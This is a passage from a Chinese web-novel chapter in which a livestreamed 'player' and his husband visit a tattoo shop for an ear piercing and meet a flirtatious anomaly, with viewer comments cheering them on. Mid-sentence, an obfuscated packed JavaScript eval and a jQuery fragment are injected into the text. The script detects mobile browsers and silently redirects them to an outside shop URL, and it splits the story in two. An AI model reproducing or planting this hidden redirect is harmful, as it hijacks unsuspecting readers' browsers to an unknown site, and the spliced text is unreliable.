有时候连诡异都觉得挺无奈的,沈妄渊这人,黄得理直气壮,黄得大大方方,黄得跟干正经事似的。
哪怕让他去玩什么屎尿屁的低级恶趣味,都没这么让人哭笑不得。
季书恒闭上眼,纠正道:“那个不叫耳钉,叫扣环。”他顿了顿,又补了一句:“老公你要不要试试?”
弹幕立刻起哄。
(玩家别怂!赶紧答应!)
(谁怂谁是孙子。)
(看好你,看好你x10)
沈妄渊瞥了季书恒一眼,说:“也不看看自己多大年纪了,什么都想试?”
季书恒被这话戳了一下,深吸一口气,眼里浮上一层委屈,小声说:“老公,你当初找我结婚的时候可不是这么讲的。”
“你当初说我图的就是你的年纪,还有呢?”
“还有什么?”沈妄渊追着问。
季书恒脸上泛起一点红,轻轻咳了一下,怎么都不肯再往下说了。
弹幕又来凑热闹:“还有啥?当然是干活的能力呗,这不做什么都得理论和实践结合嘛。”
“尤其是戴金丝眼镜那种男人,看着一本正经,背地里花样可多了,俗称斯文败类。”
季书恒不肯说,沈妄渊便也没再追问。
他的视线不经意间扫过电视架上摆着的那张照片.
说起来,那照片里的成分真是够复杂的,明明是两个人的结婚照,上面却站着三个人。
三个人都穿着白西装,别着胸花,脑袋挨着脑袋,站在中间的沈妄渊一手揽一个,笑得格外开心。
沈妄渊心想,我怎么不知道自己以前这么会享福了?
手指被人轻轻勾住,沈妄渊沉默地收回目光,跟着季书恒往外走。
打耳洞的地方在一条老城区的巷子里,车开不进去。
季书恒把车停在路边,先替沈妄渊解了安全带,又绕过去拉开车门,周到得像个贴身管家。他说:“老公,再走三百米就到了。”
沈妄渊下了车,目光四处打量。
这条路窄窄的,地面坑坑洼洼,老旧的路灯孤零零立在那里,站在这陈年的巷口里,竟有种穿越了时光的错觉。
两个人的脚步声交交错错地响着,季书恒领着他左拐右拐。
沈妄渊看着周围越来越破旧的环境,问了一句:“你这是要带我去噶腰子?”
季书恒忍不住笑了,说:“老公,我还怕你一转手把我卖了呢。”沈妄渊这张嘴,黑白都能颠倒,真要论起噶腰子的是谁,还真不好说。
“到了。”季书恒停下脚步。
面前是一栋窄窄的平房,挂着半截摇摇欲坠的纹身招牌,灯光忽明忽暗,像从鬼片里搬出来的。
季书恒抬手撩开那扇泛黄的挡风门帘,低声叮嘱:“当心碰着头。”他弯腰走进去,又伸手护住沈妄渊的头顶。
暖黄色的光漫过踏入屋子的人,空气中飘着一股说不清的药水味,混着烟草气息,还有细碎的滋滋声。
沈妄渊循着声音望过去,堆满瓶瓶罐罐的桌子后面,坐着一个穿黑色皮夹克的年轻人,正坐在高脚凳上。
从沈妄渊这个角度,刚好能看见青年侧颈上缠绕的那条蛇纹身。
蛇没有头?
沈妄渊不由得多看了几眼。
那青年抬起头来,侧扎的长发垂落下来,遮住了颈侧的那片蛇纹。一双桃花眼微微上挑,打量着这两位新进门的客人,偏中性的五官让人一时挪不开视线。
弹幕立刻活跃起来。
(把他拿下,让直男栽在男人手里。)
(别管是不是诡异,能把他拿下,我打赏十积分。)
(楼上我挺你,拿下这诡异,我加一积分。)
(那我加二积分。)
“叮,观众任务邀请:成功拿下诡异萧清晨,预计为玩家带来34点积分。”
搂钱耙子询问意见:“玩家是否接受这个观众任务?”
只要沈妄渊点一下头,等任务完成,搂钱耙子说扣就扣,那34点积分就到手了。
沈妄渊陷入沉思,目光与同样满眼好奇的萧清晨撞在了一起。那双微微上挑的桃花眼,看什么都像是含着水光、自带一层深情滤镜。
更何况眼前还是个长发披肩、带着纹身的青年。
种种吸引人的特质叠在一起,沈妄渊还没给出答复,季书恒心里已经暗叫不妙。
当初沈妄渊选他,最大的理由就是看上他这张脸。
如今萧清晨往那儿一坐,对喜欢收集不同类型漂亮人物的沈妄渊来说,简直又是一个崭新的款式。
季书恒心里泛起一阵懊恼。
刚才只顾着带沈妄渊来打耳洞,竟忘了纹身店里的萧清晨在沈妄渊眼里会是多大一个诱惑。但他舍不得对沈妄渊怎样,于是只是往前迈了半步,挡在沈妄渊身前,又朝萧清晨丢过去一个警告的眼神。
萧清晨撑着脸,语气里带着几分轻佻,问道:“两位客人,想纹身还是打耳洞?”他一边说,一边用细长的手指轻轻抚上自己的左耳,那枚闪亮的十字耳坠一下子就撞进人眼里。
“打耳洞。”季书恒冷冷地说。
“是你——”萧
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17834103|211368||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
清晨探了探头,嘴角一弯,朝季书恒身后的沈妄渊露出一个狡黠的笑,“还是你后面这位帅哥要打呢?”
季书恒的声音冷得像从冰窖里钻出来的:“那是我老公。”
人夫啊。那岂不是更有滋味了。
“萧清晨。”季书恒再次出声警告,眼神里写满了“再看下去,我让你从清晨变成晚上”。
萧清晨舔了舔唇角,从乱糟糟的瓶罐堆里摸出一枚一次性耳钉针。
他绕过季书恒,把耳钉针塞进沈妄渊手里,指尖还似有若无地蹭了一下沈妄渊的小指。
这么会撩的吗?
沈妄渊抬起眼睛,对上萧清晨那双带着蛊惑笑意的眼睛,听见他用格外清透好听的声线说:“给你,老公。”
这一声“老公”叫得顺溜极了,弹幕瞬间刷满了问号。
季书恒急了:“他是我老公!”
萧清晨却不慌不忙:“我知道啊,你刚才就在介绍他嘛,全名叫‘我老公’。我跟客人套个近乎,叫声老公有什么问题吗?”
萧清晨一边说着,一边冲沈妄渊眨了眨眼,那意思再明显不过了,又喊了一声:“老公?”
季书恒的脸色当即黑了下来,抬手就要往萧清晨脸上扇过去。
可手腕在半空中被人截住了。季书恒看向沈妄渊,心里猛地一沉,他低声说:“老公,你倒是说句话啊。”
沈妄渊把季书恒的手按下去,目光慢慢移到萧清晨脸上。
季书恒心头一紧,几乎要失望了,下一秒,啪的一声脆响,是沈妄渊动的手,干脆利落,力道大得把萧清晨的脸都打偏了。
季书恒愣住了,随即一股暖意从心尖蔓延到全身,他轻声说:“老公,我明白了,你心里是有我的。”
沈妄渊擦了擦手,一句话没说,直接把季书恒的脑袋按低,轻描淡写地说了句:“消毒用的。”然后跟没事人似的朝萧清晨伸出手。
萧清晨顶了顶被打得发烫的腮帮子,脸颊还火辣辣地疼,却还是弯起嘴角,笑着把一次性酒精棉递过去,语气里带着点撒娇的意味:“亲爱的,你手劲儿可真大。”
沈妄渊心里一阵无语:这还用得着我去掰吗?都自己弯成这样了,还来骚扰别人家的人夫。
弹幕一条接一条地刷。
(真够骚的啊。)
(这玩家,福气是真不浅。)
(张嘴就喊老公,萧清晨哪是什么清晨,怕是黏黏糊糊的黄昏吧。)
季书恒听见萧清晨又蹦出一声“老公”,心里老大不乐意,可沈妄渊正按着他的脑袋,他也不敢乱动弹。